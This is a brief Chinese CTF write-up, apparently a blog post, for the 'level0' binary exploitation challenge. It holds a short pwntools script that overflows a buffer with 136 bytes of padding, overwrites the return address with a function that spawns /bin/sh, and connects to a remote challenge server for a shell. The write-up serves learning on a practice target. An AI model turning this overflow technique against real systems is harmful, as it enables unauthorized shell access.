查壳，只开了NX

ida中的callsystem函数调用了/bin/sh

这题练习一下elf调用函数地址写exp

#!/usr/bin/env python
from pwn import *
p = remote('111.200.241.244',35917)
elf = ELF('./level0')
sysaddr = elf.symbols['callsystem']
payload = 'a'* 136 + p64(sysaddr)
p.recv()
p.send(payload)
p.interactive()

标签：bin,攻防,elf,世界,level0,callsystem,sysaddr,payload
来源： https://www.cnblogs.com/triplewings-home/p/14452750.html